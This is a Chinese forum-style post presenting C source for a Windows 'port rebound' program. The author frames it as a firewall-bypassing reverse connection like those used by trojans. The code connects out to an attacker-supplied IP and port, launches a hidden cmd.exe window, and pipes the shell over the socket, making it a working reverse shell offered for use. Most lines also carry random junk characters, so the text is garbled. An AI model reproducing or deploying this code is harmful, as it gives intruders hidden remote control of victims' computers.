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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -e_+x'uF  
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/* ============================== 13s0uyYU<m  
Rebound port in Windows NT %]9 <a  
By wind,2006/7 {},rbQ -  
===============================*/ Is6<3eQ\x  
#include 1\d$2N"  
#include *!De(lhEc  
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#pragma comment(lib,"wsock32.lib") ^iJMUV|  
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void OutputShell(); Vy = fm  
SOCKET sClient; +4emkDTdR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !M~p __  
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void main(int argc,char **argv) b~ ?TDm7  
{ t/cj z/]  
WSADATA stWsaData; ?U0iHg{  
int nRet; ?MhRdY  
SOCKADDR_IN stSaiClient,stSaiServer; @]f"X>  
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if(argc != 3) pj,.RcH@o  
{ N}\Da: _  
printf("Useage:\n\rRebound DestIP DestPort\n"); 78tWzO  
return; YgaJ*%\  
} vCwDE~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Ms ?V1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8xmw-s)  
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stSaiClient.sin_family = AF_INET; 3m4?l ~  
stSaiClient.sin_port = htons(0); K@VXFV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -5\aL"?4  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a<Pi J?  
{ 9#%(%s 2 +  
printf("Bind Socket Failed!\n"); ~%^af"_  
return; *Rshzv[  
} *MkhRLw\,  
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stSaiServer.sin_family = AF_INET;  L}AR{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q 9qmz[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k=Ef)'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) # RJy  
{ 'O`jV0aa'  
printf("Connect Error!"); ;:*o P(9k  
return; {549&]/o  
} "}K/ b  
OutputShell(); BmrP]3W?  
} }Iub{30mp  
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void OutputShell() 1 7{]QuqNF  
{ ^g[\.Q  
char szBuff[1024]; nx=#QLi  
SECURITY_ATTRIBUTES stSecurityAttributes; %R;cXs4r  
OSVERSIONINFO stOsversionInfo; )F? 57eh  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *cp|lW!ag  
STARTUPINFO stStartupInfo; U^Z[6u  
char *szShell; UF<|1;'  
PROCESS_INFORMATION stProcessInformation; vFb{(gIJ  
unsigned long lBytesRead; Bx&` $lW  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fY=iQ?{/[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EyNI]XEj  
stSecurityAttributes.lpSecurityDescriptor = 0; EhB9M!Y`@  
stSecurityAttributes.bInheritHandle = TRUE; QY+#Vp<`  
#2ZXYH}  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z9HQFRbo[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A&9l|b-"  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); O%o#CBf0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (%#d._j>fZ  
stStartupInfo.wShowWindow = SW_HIDE; ? z=>n  
stStartupInfo.hStdInput = hReadPipe; CG9X3%xO%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; * {4cc  
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GetVersionEx(&stOsversionInfo); $%r|V*5  
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switch(stOsversionInfo.dwPlatformId) #j-,#P@  
{ cYR6+PKua  
case 1: bwVv#Z\r  
szShell = "command.com"; a #@Q.wL  
break; --.j&w  
default: T]^F%D%  
szShell = "cmd.exe"; ?qO,=ms>-  
break; Sa,N1r  
} 18[f_0@ #  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4 >&%-BhN  
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send(sClient,szMsg,77,0); 1.,mNY^UN  
while(1) jLQjv  
{ %4 SREq  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G)# ,39P  
if(lBytesRead) "[[fQpe4@  
{ W$'pUhq\H  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rG\m]C3E  
send(sClient,szBuff,lBytesRead,0); o B6" D  
} J~_p2TZJ\3  
else Vj2GK"$v  
{ k5/nAaiVE  
lBytesRead=recv(sClient,szBuff,1024,0); =\XAD+  
if(lBytesRead<=0) break; $--PA$H27  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]#BXaBVMY  
} awkVjyqX  
} |ni cvg@  
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return; 7_K(x mK  
}
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